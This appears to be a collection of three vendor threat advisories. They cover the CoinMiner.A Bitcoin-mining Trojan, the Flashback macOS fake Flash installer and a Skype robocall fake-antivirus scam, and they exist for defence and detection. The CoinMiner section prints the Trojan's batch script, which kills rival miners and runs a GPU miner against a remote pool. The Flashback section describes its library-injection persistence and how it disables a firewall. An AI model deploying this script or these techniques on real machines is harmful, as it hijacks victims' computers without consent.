The Sonicwall UTM research team received reports of a new Bitcoin Trojan in the wild. Bitcoin is a decentralized p2p crypto-currency. The process of generating (mining) bitcoins is computationally expensive and would take an impractical amount of time to generate a single bitcoin on a personal computer. If however, a hacker were able to compromise a handful of machines with fast parallel Graphics Processing Units it could turn into a very lucrative money making business. CoinMiner.A is a Trojan that attempts to fulfill this purpose.

The Trojan uses the following icon:

The Trojan adds the following files to the filesystem:

• C:Documents and Settings{USER}Local SettingsTempacc3kal.cmd
• C:Documents and Settings{USER}Local SettingsTempacchsbca.exe
• C:Documents and Settings{USER}Local SettingsTempaccmamatije5.exe [Detected as GAV: CoinMiner.A_2 (Trojan)]
• C:Documents and Settings{USER}Start MenuProgramsStartupwuT2.exe [Detected as GAV: CoinMiner.A_3 (Trojan)]

hsbca.exe is non-malicious software from NTWind called Hidden Start. It is used to run batch files and other programs without a console window. It uses the following icon:

wuT2.exe uses the following icon:

3kal.cmd contains the following data:

ping -n 40 google.com
taskkill /f /im cgminer.exe
taskkill /f /im svchoost.exe
taskkill /f /im mamatije.exe
taskkill /f /im mamatije2.exe
taskkill /f /im mamatije3.exe
taskkill /f /im yaaa3.2.exe
taskkill /f /im WinMine.exe
taskkill /f /im mamatije4.exe
mamatije5.exe -a 59 -g no -o http://y.b{removed}.info:8332/ -u dxstr_miner -p hello -t 2

The Trojan adds the following keys to the Windows registry:

• HKEY_CURRENT_USERSoftwareWinRAR SFX C:Documents and Settings{USER}Start MenuProgramsStartup “C:Documents and Settings{USER}Start MenuProgramsStartup”
• HKEY_CURRENT_USERSoftwareWinRAR SFX C:Documents and Settings{USER}Local SettingsTempacc “C:Documents and Settings{USER}Local SettingsTempacc”

The Trojan attemps to open the following files:

• C:Documents and Settings{USER}Start menuProgramsStartupstart.exe
• C:Documents and Settings{USER}Start MenuProgramsStartuphahahahaha.exe
• C:Documents and Settings{USER}Start MenuProgramsStartupwuT.exe
• C:Documents and Settings{USER}Start MenuProgramsStartupNoRisk.exe
• C:Documents and Settings{USER}Start MenuProgramsStartupNoRisk2.exe

The Trojan uses hsbca.exe (Hidden Start) to run “3kal.cmd” via the following command:

C:Documents and Settings{USER}Local SettingsTempacchsbca.exe "/NOCONSOLE C:Documents and Settings{USER}Local SettingsTempacc3kal.cmd"

The Trojan runs the following command to ensure internet connectivity:

• ping -n 40 google.com

As defined in “3kal.cmd” the Trojan runs taskkill.exe in an attempt to kill the following programs if they are loaded:

• cgminer.exe
• svchoost.exe
• mamatije.exe
• mamatije2.exe
• mamatije3.exe
• yaaa3.2.exe
• WinMine.exe
• mamatije4.exe

Our analysis determined that the Trojan uses Nvidia CUDA to employ the GPU (if present) to generate bitcoins:

SonicWALL Gateway AntiVirus provides protection against this threat via the following signatures:

• GAV: CoinMiner.A (Trojan)
• GAV: CoinMiner.A_2 (Trojan)
• GAV: CoinMiner.A_3 (Trojan)

SonicWALL UTM Research team received reports of a new MAC OSX Flashback Trojan spreading in the wild by masquerading as a Adobe flash player 11 installer. Once installed it proceeds to install a backdoor on the system, contacts a remote server to report infection and awaits further instructions.

The fake installer is automatically executed when downloaded through Safari. The user is then led through the following installation screens:

It performs the following activities when installed:

• It drops the following files:
  • ~/Library/Preferences/Preferences.dylib
  • ~/.MacOSX/environment.plist
  • /tmp/AdobeUpdate/FlashPlayer.txt
• The preinstall script removes the downloaded “FlashPlayer-11-macos.pkg” file once installation is completed.
• It checks for presence of “Little Snitch” security software by querying for “/Library/Little Snitch/lsd” and disables it.
• It modifies the “DYLD_INSERT_LIBRARIES” environment variable for “launchd” to point to “~/Library/Preferences/Preferences.dylib”. This ensures malicious Preferences.dylib is loaded when certain applications/daemons are launched.
• It reports infection to remote server.

• The user agent used when reporting to the remote server is combination of kernel variables “hw.machine” and “kern.osrelease” read from the infected system.

We advice users to only download software from trusted sources. We also recommend disabling “Open safe files after downloading” feature in Safari which will prevent this Trojan installer from automatically launching on download. This feature can be unchecked in Safari->Preferences->General:

SonicWALL Gateway AntiVirus provides protection against this threat with the following signature:

The Sonicwall UTM research team received reports of an increase in the number of unsolicited Skype calls trying to spread Fake AV.

Fake AV authors are using Skype VOIP calls to lure unsuspecting users into visiting Fake AV landing site. We first received report of this tactic earlier this year in April 2011 and there has been a rise in these automated calls with prerecorded messages since then. Below is the screenshot of a most recent call received by one of our researchers:

There is a pre-recorded message that loops multiple times before the call ends:

Attention: This is an automated computer system alert.
Your computer protection service is not active.
To activate computer protection, and repair your computer, go to www.sos(REMOVED).com

If the user opens the website then he will see the usual Fake AV scare-ware animations claiming to scan the computer and find multiple threats:

It finally prompts the user to buy the protection service to fix the errors:

They are using Click2Sell.eu, a European affiliate marketing company, as the payment gateway. This is an interesting new scare-ware tactic where Fake AV authors are:

• Using Skype VOIP calls to spread.
• Luring users straight to the payment gateway for computer protection without downloading any scare-ware onto the user system and hence bypassing AV file detection.
• Instead of traditional one-time payment for the Fake AV they are making the user sign-up for a monthly subscription of 19.95 USD.

In order to avoid such scam tactics, Skype users are advised to change their Privacy settings for calls to only allow calls from their contacts:

Additionally, SonicWALL customers can utilize Application Control service to prevent this threat by blocking Skype calls on their network.